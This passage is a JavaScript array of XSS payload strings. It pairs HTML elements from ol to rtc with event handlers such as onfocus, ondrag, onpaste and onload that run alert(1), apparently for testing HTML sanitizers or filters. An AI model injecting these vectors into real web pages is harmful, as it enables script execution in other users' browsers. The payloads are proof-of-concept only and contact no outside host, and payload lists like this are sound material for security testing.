  String.raw`<ol onmousemove="alert(1)">test</ol>`,
  String.raw`<ol onmouseout="alert(1)">test</ol>`,
  String.raw`<ol onmouseover="alert(1)">test</ol>`,
  String.raw`<ol onmouseup="alert(1)">test</ol>`,
  String.raw`<ol onpaste="alert(1)" contenteditable>test</ol>`,
  String.raw`<optgroup draggable="true" ondrag="alert(1)">test</optgroup>`,
  String.raw`<optgroup draggable="true" ondragend="alert(1)">test</optgroup>`,
  String.raw`<optgroup draggable="true" ondragenter="alert(1)">test</optgroup>`,
  String.raw`<optgroup draggable="true" ondragleave="alert(1)">test</optgroup>`,
  String.raw`<optgroup draggable="true" ondragstart="alert(1)">test</optgroup>`,
  String.raw`<optgroup id=x tabindex=1 onactivate=alert(1)></optgroup>`,
  String.raw`<optgroup id=x tabindex=1 onbeforeactivate=alert(1)></optgroup>`,
  String.raw`<optgroup id=x tabindex=1 onbeforedeactivate=alert(1)></optgroup><input autofocus>`,
  String.raw`<optgroup id=x tabindex=1 ondeactivate=alert(1)></optgroup><input id=y autofocus>`,
  String.raw`<optgroup id=x tabindex=1 onfocus=alert(1)></optgroup>`,
  String.raw`<optgroup id=x tabindex=1 onfocusin=alert(1)></optgroup>`,
  String.raw`<optgroup onbeforecopy="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onbeforecut="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onbeforepaste="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onblur=alert(1) tabindex=1 id=x></optgroup><input autofocus>`,
  String.raw`<optgroup onclick="alert(1)">test</optgroup>`,
  String.raw`<optgroup oncontextmenu="alert(1)">test</optgroup>`,
  String.raw`<optgroup oncopy="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup oncut="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup ondblclick="alert(1)">test</optgroup>`,
  String.raw`<optgroup onfocusout=alert(1) tabindex=1 id=x></optgroup><input autofocus>`,
  String.raw`<optgroup onkeydown="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onkeypress="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onkeyup="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<optgroup onmousedown="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmouseenter="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmouseleave="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmousemove="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmouseout="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmouseover="alert(1)">test</optgroup>`,
  String.raw`<optgroup onmouseup="alert(1)">test</optgroup>`,
  String.raw`<optgroup onpaste="alert(1)" contenteditable>test</optgroup>`,
  String.raw`<option draggable="true" ondrag="alert(1)">test</option>`,
  String.raw`<option draggable="true" ondragend="alert(1)">test</option>`,
  String.raw`<option draggable="true" ondragenter="alert(1)">test</option>`,
  String.raw`<option draggable="true" ondragleave="alert(1)">test</option>`,
  String.raw`<option draggable="true" ondragstart="alert(1)">test</option>`,
  String.raw`<option id=x tabindex=1 onactivate=alert(1)></option>`,
  String.raw`<option id=x tabindex=1 onbeforeactivate=alert(1)></option>`,
  String.raw`<option id=x tabindex=1 onbeforedeactivate=alert(1)></option><input autofocus>`,
  String.raw`<option id=x tabindex=1 ondeactivate=alert(1)></option><input id=y autofocus>`,
  String.raw`<option id=x tabindex=1 onfocus=alert(1)></option>`,
  String.raw`<option id=x tabindex=1 onfocusin=alert(1)></option>`,
  String.raw`<option onbeforecopy="alert(1)" contenteditable>test</option>`,
  String.raw`<option onbeforecut="alert(1)" contenteditable>test</option>`,
  String.raw`<option onbeforepaste="alert(1)" contenteditable>test</option>`,
  String.raw`<option onblur=alert(1) tabindex=1 id=x></option><input autofocus>`,
  String.raw`<option onclick="alert(1)">test</option>`,
  String.raw`<option oncontextmenu="alert(1)">test</option>`,
  String.raw`<option oncopy="alert(1)" contenteditable>test</option>`,
  String.raw`<option oncut="alert(1)" contenteditable>test</option>`,
  String.raw`<option ondblclick="alert(1)">test</option>`,
  String.raw`<option onfocusout=alert(1) tabindex=1 id=x></option><input autofocus>`,
  String.raw`<option onkeydown="alert(1)" contenteditable>test</option>`,
  String.raw`<option onkeypress="alert(1)" contenteditable>test</option>`,
  String.raw`<option onkeyup="alert(1)" contenteditable>test</option>`,
  String.raw`<option onmousedown="alert(1)">test</option>`,
  String.raw`<option onmouseenter="alert(1)">test</option>`,
  String.raw`<option onmouseleave="alert(1)">test</option>`,
  String.raw`<option onmousemove="alert(1)">test</option>`,
  String.raw`<option onmouseout="alert(1)">test</option>`,
  String.raw`<option onmouseover="alert(1)">test</option>`,
  String.raw`<option onmouseup="alert(1)">test</option>`,
  String.raw`<option onpaste="alert(1)" contenteditable>test</option>`,
  String.raw`<output draggable="true" ondrag="alert(1)">test</output>`,
  String.raw`<output draggable="true" ondragend="alert(1)">test</output>`,
  String.raw`<output draggable="true" ondragenter="alert(1)">test</output>`,
  String.raw`<output draggable="true" ondragleave="alert(1)">test</output>`,
  String.raw`<output draggable="true" ondragstart="alert(1)">test</output>`,
  String.raw`<output id=x tabindex=1 onactivate=alert(1)></output>`,
  String.raw`<output id=x tabindex=1 onbeforeactivate=alert(1)></output>`,
  String.raw`<output id=x tabindex=1 onbeforedeactivate=alert(1)></output><input autofocus>`,
  String.raw`<output id=x tabindex=1 ondeactivate=alert(1)></output><input id=y autofocus>`,
  String.raw`<output id=x tabindex=1 onfocus=alert(1)></output>`,
  String.raw`<output id=x tabindex=1 onfocusin=alert(1)></output>`,
  String.raw`<output onbeforecopy="alert(1)" contenteditable>test</output>`,
  String.raw`<output onbeforecut="alert(1)" contenteditable>test</output>`,
  String.raw`<output onbeforepaste="alert(1)" contenteditable>test</output>`,
  String.raw`<output onblur=alert(1) tabindex=1 id=x></output><input autofocus>`,
  String.raw`<output onclick="alert(1)">test</output>`,
  String.raw`<output oncontextmenu="alert(1)">test</output>`,
  String.raw`<output oncopy="alert(1)" contenteditable>test</output>`,
  String.raw`<output oncut="alert(1)" contenteditable>test</output>`,
  String.raw`<output ondblclick="alert(1)">test</output>`,
  String.raw`<output onfocusout=alert(1) tabindex=1 id=x></output><input autofocus>`,
  String.raw`<output onkeydown="alert(1)" contenteditable>test</output>`,
  String.raw`<output onkeypress="alert(1)" contenteditable>test</output>`,
  String.raw`<output onkeyup="alert(1)" contenteditable>test</output>`,
  String.raw`<output onmousedown="alert(1)">test</output>`,
  String.raw`<output onmouseenter="alert(1)">test</output>`,
  String.raw`<output onmouseleave="alert(1)">test</output>`,
  String.raw`<output onmousemove="alert(1)">test</output>`,
  String.raw`<output onmouseout="alert(1)">test</output>`,
  String.raw`<output onmouseover="alert(1)">test</output>`,
  String.raw`<output onmouseup="alert(1)">test</output>`,
  String.raw`<output onpaste="alert(1)" contenteditable>test</output>`,
  String.raw`<p draggable="true" ondrag="alert(1)">test</p>`,
  String.raw`<p draggable="true" ondragend="alert(1)">test</p>`,
  String.raw`<p draggable="true" ondragenter="alert(1)">test</p>`,
  String.raw`<p draggable="true" ondragleave="alert(1)">test</p>`,
  String.raw`<p draggable="true" ondragstart="alert(1)">test</p>`,
  String.raw`<p id=x tabindex=1 onactivate=alert(1)></p>`,
  String.raw`<p id=x tabindex=1 onbeforeactivate=alert(1)></p>`,
  String.raw`<p id=x tabindex=1 onbeforedeactivate=alert(1)></p><input autofocus>`,
  String.raw`<p id=x tabindex=1 ondeactivate=alert(1)></p><input id=y autofocus>`,
  String.raw`<p id=x tabindex=1 onfocus=alert(1)></p>`,
  String.raw`<p id=x tabindex=1 onfocusin=alert(1)></p>`,
  String.raw`<p onbeforecopy="alert(1)" contenteditable>test</p>`,
  String.raw`<p onbeforecut="alert(1)" contenteditable>test</p>`,
  String.raw`<p onbeforepaste="alert(1)" contenteditable>test</p>`,
  String.raw`<p onblur=alert(1) tabindex=1 id=x></p><input autofocus>`,
  String.raw`<p onclick="alert(1)">test</p>`,
  String.raw`<p oncontextmenu="alert(1)">test</p>`,
  String.raw`<p oncopy="alert(1)" contenteditable>test</p>`,
  String.raw`<p oncut="alert(1)" contenteditable>test</p>`,
  String.raw`<p ondblclick="alert(1)">test</p>`,
  String.raw`<p onfocusout=alert(1) tabindex=1 id=x></p><input autofocus>`,
  String.raw`<p onkeydown="alert(1)" contenteditable>test</p>`,
  String.raw`<p onkeypress="alert(1)" contenteditable>test</p>`,
  String.raw`<p onkeyup="alert(1)" contenteditable>test</p>`,
  String.raw`<p onmousedown="alert(1)">test</p>`,
  String.raw`<p onmouseenter="alert(1)">test</p>`,
  String.raw`<p onmouseleave="alert(1)">test</p>`,
  String.raw`<p onmousemove="alert(1)">test</p>`,
  String.raw`<p onmouseout="alert(1)">test</p>`,
  String.raw`<p onmouseover="alert(1)">test</p>`,
  String.raw`<p onmouseup="alert(1)">test</p>`,
  String.raw`<p onpaste="alert(1)" contenteditable>test</p>`,
  String.raw`<param draggable="true" ondrag="alert(1)">test</param>`,
  String.raw`<param draggable="true" ondragend="alert(1)">test</param>`,
  String.raw`<param draggable="true" ondragenter="alert(1)">test</param>`,
  String.raw`<param draggable="true" ondragleave="alert(1)">test</param>`,
  String.raw`<param draggable="true" ondragstart="alert(1)">test</param>`,
  String.raw`<param id=x tabindex=1 onactivate=alert(1)></param>`,
  String.raw`<param id=x tabindex=1 onbeforeactivate=alert(1)></param>`,
  String.raw`<param id=x tabindex=1 onbeforedeactivate=alert(1)></param><input autofocus>`,
  String.raw`<param id=x tabindex=1 ondeactivate=alert(1)></param><input id=y autofocus>`,
  String.raw`<param id=x tabindex=1 onfocus=alert(1)></param>`,
  String.raw`<param id=x tabindex=1 onfocusin=alert(1)></param>`,
  String.raw`<param onbeforecopy="alert(1)" contenteditable>test</param>`,
  String.raw`<param onbeforecut="alert(1)" contenteditable>test</param>`,
  String.raw`<param onbeforepaste="alert(1)" contenteditable>test</param>`,
  String.raw`<param onblur=alert(1) tabindex=1 id=x></param><input autofocus>`,
  String.raw`<param onclick="alert(1)">test</param>`,
  String.raw`<param oncontextmenu="alert(1)">test</param>`,
  String.raw`<param oncopy="alert(1)" contenteditable>test</param>`,
  String.raw`<param oncut="alert(1)" contenteditable>test</param>`,
  String.raw`<param ondblclick="alert(1)">test</param>`,
  String.raw`<param onfocusout=alert(1) tabindex=1 id=x></param><input autofocus>`,
  String.raw`<param onkeydown="alert(1)" contenteditable>test</param>`,
  String.raw`<param onkeypress="alert(1)" contenteditable>test</param>`,
  String.raw`<param onkeyup="alert(1)" contenteditable>test</param>`,
  String.raw`<param onmousedown="alert(1)">test</param>`,
  String.raw`<param onmouseenter="alert(1)">test</param>`,
  String.raw`<param onmouseleave="alert(1)">test</param>`,
  String.raw`<param onmousemove="alert(1)">test</param>`,
  String.raw`<param onmouseout="alert(1)">test</param>`,
  String.raw`<param onmouseover="alert(1)">test</param>`,
  String.raw`<param onmouseup="alert(1)">test</param>`,
  String.raw`<param onpaste="alert(1)" contenteditable>test</param>`,
  String.raw`<picture draggable="true" ondrag="alert(1)">test</picture>`,
  String.raw`<picture draggable="true" ondragend="alert(1)">test</picture>`,
  String.raw`<picture draggable="true" ondragenter="alert(1)">test</picture>`,
  String.raw`<picture draggable="true" ondragleave="alert(1)">test</picture>`,
  String.raw`<picture draggable="true" ondragstart="alert(1)">test</picture>`,
  String.raw`<picture id=x tabindex=1 onactivate=alert(1)></picture>`,
  String.raw`<picture id=x tabindex=1 onbeforeactivate=alert(1)></picture>`,
  String.raw`<picture id=x tabindex=1 onbeforedeactivate=alert(1)></picture><input autofocus>`,
  String.raw`<picture id=x tabindex=1 ondeactivate=alert(1)></picture><input id=y autofocus>`,
  String.raw`<picture id=x tabindex=1 onfocus=alert(1)></picture>`,
  String.raw`<picture id=x tabindex=1 onfocusin=alert(1)></picture>`,
  String.raw`<picture onbeforecopy="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onbeforecut="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onbeforepaste="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onblur=alert(1) tabindex=1 id=x></picture><input autofocus>`,
  String.raw`<picture onclick="alert(1)">test</picture>`,
  String.raw`<picture oncontextmenu="alert(1)">test</picture>`,
  String.raw`<picture oncopy="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture oncut="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture ondblclick="alert(1)">test</picture>`,
  String.raw`<picture onfocusout=alert(1) tabindex=1 id=x></picture><input autofocus>`,
  String.raw`<picture onkeydown="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onkeypress="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onkeyup="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture onmousedown="alert(1)">test</picture>`,
  String.raw`<picture onmouseenter="alert(1)">test</picture>`,
  String.raw`<picture onmouseleave="alert(1)">test</picture>`,
  String.raw`<picture onmousemove="alert(1)">test</picture>`,
  String.raw`<picture onmouseout="alert(1)">test</picture>`,
  String.raw`<picture onmouseover="alert(1)">test</picture>`,
  String.raw`<picture onmouseup="alert(1)">test</picture>`,
  String.raw`<picture onpaste="alert(1)" contenteditable>test</picture>`,
  String.raw`<picture><source srcset="validimage.png"><image onload=alert(1)></picture>`,
  String.raw`<picture><source srcset="validimage.png"><image onloadend=alert(1)></picture>`,
  String.raw`<picture><source srcset="validimage.png"><image onloadstart=alert(1)></picture>`,
  String.raw`<picture><source srcset="validimage.png"><img onload=alert(1)></picture>`,
  String.raw`<picture><source srcset="validimage.png"><img onloadend=alert(1)></picture>`,
  String.raw`<picture><source srcset="validimage.png"><img onloadstart=alert(1)></picture>`,
  String.raw`<plaintext draggable="true" ondrag="alert(1)">test</plaintext>`,
  String.raw`<plaintext draggable="true" ondragend="alert(1)">test</plaintext>`,
  String.raw`<plaintext draggable="true" ondragenter="alert(1)">test</plaintext>`,
  String.raw`<plaintext draggable="true" ondragleave="alert(1)">test</plaintext>`,
  String.raw`<plaintext draggable="true" ondragstart="alert(1)">test</plaintext>`,
  String.raw`<plaintext id=x tabindex=1 onactivate=alert(1)></plaintext>`,
  String.raw`<plaintext id=x tabindex=1 onbeforeactivate=alert(1)></plaintext>`,
  String.raw`<plaintext id=x tabindex=1 onbeforedeactivate=alert(1)></plaintext><input autofocus>`,
  String.raw`<plaintext id=x tabindex=1 ondeactivate=alert(1)></plaintext><input id=y autofocus>`,
  String.raw`<plaintext id=x tabindex=1 onfocus=alert(1)></plaintext>`,
  String.raw`<plaintext id=x tabindex=1 onfocusin=alert(1)></plaintext>`,
  String.raw`<plaintext onbeforecopy="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onbeforecut="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onbeforepaste="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onblur=alert(1) tabindex=1 id=x></plaintext><input autofocus>`,
  String.raw`<plaintext onclick="alert(1)">test</plaintext>`,
  String.raw`<plaintext oncontextmenu="alert(1)">test</plaintext>`,
  String.raw`<plaintext oncopy="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext oncut="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext ondblclick="alert(1)">test</plaintext>`,
  String.raw`<plaintext onfocusout=alert(1) tabindex=1 id=x></plaintext><input autofocus>`,
  String.raw`<plaintext onkeydown="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onkeypress="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onkeyup="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<plaintext onmousedown="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmouseenter="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmouseleave="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmousemove="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmouseout="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmouseover="alert(1)">test</plaintext>`,
  String.raw`<plaintext onmouseup="alert(1)">test</plaintext>`,
  String.raw`<plaintext onpaste="alert(1)" contenteditable>test</plaintext>`,
  String.raw`<pre draggable="true" ondrag="alert(1)">test</pre>`,
  String.raw`<pre draggable="true" ondragend="alert(1)">test</pre>`,
  String.raw`<pre draggable="true" ondragenter="alert(1)">test</pre>`,
  String.raw`<pre draggable="true" ondragleave="alert(1)">test</pre>`,
  String.raw`<pre draggable="true" ondragstart="alert(1)">test</pre>`,
  String.raw`<pre id=x tabindex=1 onactivate=alert(1)></pre>`,
  String.raw`<pre id=x tabindex=1 onbeforeactivate=alert(1)></pre>`,
  String.raw`<pre id=x tabindex=1 onbeforedeactivate=alert(1)></pre><input autofocus>`,
  String.raw`<pre id=x tabindex=1 ondeactivate=alert(1)></pre><input id=y autofocus>`,
  String.raw`<pre id=x tabindex=1 onfocus=alert(1)></pre>`,
  String.raw`<pre id=x tabindex=1 onfocusin=alert(1)></pre>`,
  String.raw`<pre onbeforecopy="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onbeforecut="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onbeforepaste="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onblur=alert(1) tabindex=1 id=x></pre><input autofocus>`,
  String.raw`<pre onclick="alert(1)">test</pre>`,
  String.raw`<pre oncontextmenu="alert(1)">test</pre>`,
  String.raw`<pre oncopy="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre oncut="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre ondblclick="alert(1)">test</pre>`,
  String.raw`<pre onfocusout=alert(1) tabindex=1 id=x></pre><input autofocus>`,
  String.raw`<pre onkeydown="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onkeypress="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onkeyup="alert(1)" contenteditable>test</pre>`,
  String.raw`<pre onmousedown="alert(1)">test</pre>`,
  String.raw`<pre onmouseenter="alert(1)">test</pre>`,
  String.raw`<pre onmouseleave="alert(1)">test</pre>`,
  String.raw`<pre onmousemove="alert(1)">test</pre>`,
  String.raw`<pre onmouseout="alert(1)">test</pre>`,
  String.raw`<pre onmouseover="alert(1)">test</pre>`,
  String.raw`<pre onmouseup="alert(1)">test</pre>`,
  String.raw`<pre onpaste="alert(1)" contenteditable>test</pre>`,
  String.raw`<progress draggable="true" ondrag="alert(1)">test</progress>`,
  String.raw`<progress draggable="true" ondragend="alert(1)">test</progress>`,
  String.raw`<progress draggable="true" ondragenter="alert(1)">test</progress>`,
  String.raw`<progress draggable="true" ondragleave="alert(1)">test</progress>`,
  String.raw`<progress draggable="true" ondragstart="alert(1)">test</progress>`,
  String.raw`<progress id=x tabindex=1 onactivate=alert(1)></progress>`,
  String.raw`<progress id=x tabindex=1 onbeforeactivate=alert(1)></progress>`,
  String.raw`<progress id=x tabindex=1 onbeforedeactivate=alert(1)></progress><input autofocus>`,
  String.raw`<progress id=x tabindex=1 ondeactivate=alert(1)></progress><input id=y autofocus>`,
  String.raw`<progress id=x tabindex=1 onfocus=alert(1)></progress>`,
  String.raw`<progress id=x tabindex=1 onfocusin=alert(1)></progress>`,
  String.raw`<progress onbeforecopy="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onbeforecut="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onbeforepaste="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onblur=alert(1) tabindex=1 id=x></progress><input autofocus>`,
  String.raw`<progress onclick="alert(1)">test</progress>`,
  String.raw`<progress oncontextmenu="alert(1)">test</progress>`,
  String.raw`<progress oncopy="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress oncut="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress ondblclick="alert(1)">test</progress>`,
  String.raw`<progress onfocusout=alert(1) tabindex=1 id=x></progress><input autofocus>`,
  String.raw`<progress onkeydown="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onkeypress="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onkeyup="alert(1)" contenteditable>test</progress>`,
  String.raw`<progress onmousedown="alert(1)">test</progress>`,
  String.raw`<progress onmouseenter="alert(1)">test</progress>`,
  String.raw`<progress onmouseleave="alert(1)">test</progress>`,
  String.raw`<progress onmousemove="alert(1)">test</progress>`,
  String.raw`<progress onmouseout="alert(1)">test</progress>`,
  String.raw`<progress onmouseover="alert(1)">test</progress>`,
  String.raw`<progress onmouseup="alert(1)">test</progress>`,
  String.raw`<progress onpaste="alert(1)" contenteditable>test</progress>`,
  String.raw`<q draggable="true" ondrag="alert(1)">test</q>`,
  String.raw`<q draggable="true" ondragend="alert(1)">test</q>`,
  String.raw`<q draggable="true" ondragenter="alert(1)">test</q>`,
  String.raw`<q draggable="true" ondragleave="alert(1)">test</q>`,
  String.raw`<q draggable="true" ondragstart="alert(1)">test</q>`,
  String.raw`<q id=x tabindex=1 onactivate=alert(1)></q>`,
  String.raw`<q id=x tabindex=1 onbeforeactivate=alert(1)></q>`,
  String.raw`<q id=x tabindex=1 onbeforedeactivate=alert(1)></q><input autofocus>`,
  String.raw`<q id=x tabindex=1 ondeactivate=alert(1)></q><input id=y autofocus>`,
  String.raw`<q id=x tabindex=1 onfocus=alert(1)></q>`,
  String.raw`<q id=x tabindex=1 onfocusin=alert(1)></q>`,
  String.raw`<q onbeforecopy="alert(1)" contenteditable>test</q>`,
  String.raw`<q onbeforecut="alert(1)" contenteditable>test</q>`,
  String.raw`<q onbeforepaste="alert(1)" contenteditable>test</q>`,
  String.raw`<q onblur=alert(1) tabindex=1 id=x></q><input autofocus>`,
  String.raw`<q onclick="alert(1)">test</q>`,
  String.raw`<q oncontextmenu="alert(1)">test</q>`,
  String.raw`<q oncopy="alert(1)" contenteditable>test</q>`,
  String.raw`<q oncut="alert(1)" contenteditable>test</q>`,
  String.raw`<q ondblclick="alert(1)">test</q>`,
  String.raw`<q onfocusout=alert(1) tabindex=1 id=x></q><input autofocus>`,
  String.raw`<q onkeydown="alert(1)" contenteditable>test</q>`,
  String.raw`<q onkeypress="alert(1)" contenteditable>test</q>`,
  String.raw`<q onkeyup="alert(1)" contenteditable>test</q>`,
  String.raw`<q onmousedown="alert(1)">test</q>`,
  String.raw`<q onmouseenter="alert(1)">test</q>`,
  String.raw`<q onmouseleave="alert(1)">test</q>`,
  String.raw`<q onmousemove="alert(1)">test</q>`,
  String.raw`<q onmouseout="alert(1)">test</q>`,
  String.raw`<q onmouseover="alert(1)">test</q>`,
  String.raw`<q onmouseup="alert(1)">test</q>`,
  String.raw`<q onpaste="alert(1)" contenteditable>test</q>`,
  String.raw`<rb draggable="true" ondrag="alert(1)">test</rb>`,
  String.raw`<rb draggable="true" ondragend="alert(1)">test</rb>`,
  String.raw`<rb draggable="true" ondragenter="alert(1)">test</rb>`,
  String.raw`<rb draggable="true" ondragleave="alert(1)">test</rb>`,
  String.raw`<rb draggable="true" ondragstart="alert(1)">test</rb>`,
  String.raw`<rb id=x tabindex=1 onactivate=alert(1)></rb>`,
  String.raw`<rb id=x tabindex=1 onbeforeactivate=alert(1)></rb>`,
  String.raw`<rb id=x tabindex=1 onbeforedeactivate=alert(1)></rb><input autofocus>`,
  String.raw`<rb id=x tabindex=1 ondeactivate=alert(1)></rb><input id=y autofocus>`,
  String.raw`<rb id=x tabindex=1 onfocus=alert(1)></rb>`,
  String.raw`<rb id=x tabindex=1 onfocusin=alert(1)></rb>`,
  String.raw`<rb onbeforecopy="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onbeforecut="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onbeforepaste="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onblur=alert(1) tabindex=1 id=x></rb><input autofocus>`,
  String.raw`<rb onclick="alert(1)">test</rb>`,
  String.raw`<rb oncontextmenu="alert(1)">test</rb>`,
  String.raw`<rb oncopy="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb oncut="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb ondblclick="alert(1)">test</rb>`,
  String.raw`<rb onfocusout=alert(1) tabindex=1 id=x></rb><input autofocus>`,
  String.raw`<rb onkeydown="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onkeypress="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onkeyup="alert(1)" contenteditable>test</rb>`,
  String.raw`<rb onmousedown="alert(1)">test</rb>`,
  String.raw`<rb onmouseenter="alert(1)">test</rb>`,
  String.raw`<rb onmouseleave="alert(1)">test</rb>`,
  String.raw`<rb onmousemove="alert(1)">test</rb>`,
  String.raw`<rb onmouseout="alert(1)">test</rb>`,
  String.raw`<rb onmouseover="alert(1)">test</rb>`,
  String.raw`<rb onmouseup="alert(1)">test</rb>`,
  String.raw`<rb onpaste="alert(1)" contenteditable>test</rb>`,
  String.raw`<rp draggable="true" ondrag="alert(1)">test</rp>`,
  String.raw`<rp draggable="true" ondragend="alert(1)">test</rp>`,
  String.raw`<rp draggable="true" ondragenter="alert(1)">test</rp>`,
  String.raw`<rp draggable="true" ondragleave="alert(1)">test</rp>`,
  String.raw`<rp draggable="true" ondragstart="alert(1)">test</rp>`,
  String.raw`<rp id=x tabindex=1 onactivate=alert(1)></rp>`,
  String.raw`<rp id=x tabindex=1 onbeforeactivate=alert(1)></rp>`,
  String.raw`<rp id=x tabindex=1 onbeforedeactivate=alert(1)></rp><input autofocus>`,
  String.raw`<rp id=x tabindex=1 ondeactivate=alert(1)></rp><input id=y autofocus>`,
  String.raw`<rp id=x tabindex=1 onfocus=alert(1)></rp>`,
  String.raw`<rp id=x tabindex=1 onfocusin=alert(1)></rp>`,
  String.raw`<rp onbeforecopy="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onbeforecut="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onbeforepaste="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onblur=alert(1) tabindex=1 id=x></rp><input autofocus>`,
  String.raw`<rp onclick="alert(1)">test</rp>`,
  String.raw`<rp oncontextmenu="alert(1)">test</rp>`,
  String.raw`<rp oncopy="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp oncut="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp ondblclick="alert(1)">test</rp>`,
  String.raw`<rp onfocusout=alert(1) tabindex=1 id=x></rp><input autofocus>`,
  String.raw`<rp onkeydown="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onkeypress="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onkeyup="alert(1)" contenteditable>test</rp>`,
  String.raw`<rp onmousedown="alert(1)">test</rp>`,
  String.raw`<rp onmouseenter="alert(1)">test</rp>`,
  String.raw`<rp onmouseleave="alert(1)">test</rp>`,
  String.raw`<rp onmousemove="alert(1)">test</rp>`,
  String.raw`<rp onmouseout="alert(1)">test</rp>`,
  String.raw`<rp onmouseover="alert(1)">test</rp>`,
  String.raw`<rp onmouseup="alert(1)">test</rp>`,
  String.raw`<rp onpaste="alert(1)" contenteditable>test</rp>`,
  String.raw`<rt draggable="true" ondrag="alert(1)">test</rt>`,
  String.raw`<rt draggable="true" ondragend="alert(1)">test</rt>`,
  String.raw`<rt draggable="true" ondragenter="alert(1)">test</rt>`,
  String.raw`<rt draggable="true" ondragleave="alert(1)">test</rt>`,
  String.raw`<rt draggable="true" ondragstart="alert(1)">test</rt>`,
  String.raw`<rt id=x tabindex=1 onactivate=alert(1)></rt>`,
  String.raw`<rt id=x tabindex=1 onbeforeactivate=alert(1)></rt>`,
  String.raw`<rt id=x tabindex=1 onbeforedeactivate=alert(1)></rt><input autofocus>`,
  String.raw`<rt id=x tabindex=1 ondeactivate=alert(1)></rt><input id=y autofocus>`,
  String.raw`<rt id=x tabindex=1 onfocus=alert(1)></rt>`,
  String.raw`<rt id=x tabindex=1 onfocusin=alert(1)></rt>`,
  String.raw`<rt onbeforecopy="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onbeforecut="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onbeforepaste="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onblur=alert(1) tabindex=1 id=x></rt><input autofocus>`,
  String.raw`<rt onclick="alert(1)">test</rt>`,
  String.raw`<rt oncontextmenu="alert(1)">test</rt>`,
  String.raw`<rt oncopy="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt oncut="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt ondblclick="alert(1)">test</rt>`,
  String.raw`<rt onfocusout=alert(1) tabindex=1 id=x></rt><input autofocus>`,
  String.raw`<rt onkeydown="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onkeypress="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onkeyup="alert(1)" contenteditable>test</rt>`,
  String.raw`<rt onmousedown="alert(1)">test</rt>`,
  String.raw`<rt onmouseenter="alert(1)">test</rt>`,
  String.raw`<rt onmouseleave="alert(1)">test</rt>`,
  String.raw`<rt onmousemove="alert(1)">test</rt>`,
  String.raw`<rt onmouseout="alert(1)">test</rt>`,
  String.raw`<rt onmouseover="alert(1)">test</rt>`,
  String.raw`<rt onmouseup="alert(1)">test</rt>`,
  String.raw`<rt onpaste="alert(1)" contenteditable>test</rt>`,
  String.raw`<rtc draggable="true" ondrag="alert(1)">test</rtc>`,
  String.raw`<rtc draggable="true" ondragend="alert(1)">test</rtc>`,
  String.raw`<rtc draggable="true" ondragenter="alert(1)">test</rtc>`,
  String.raw`<rtc draggable="true" ondragleave="alert(1)">test</rtc>`,
  String.raw`<rtc draggable="true" ondragstart="alert(1)">test</rtc>`,
  String.raw`<rtc id=x tabindex=1 onactivate=alert(1)></rtc>`,
  String.raw`<rtc id=x tabindex=1 onbeforeactivate=alert(1)></rtc>`,
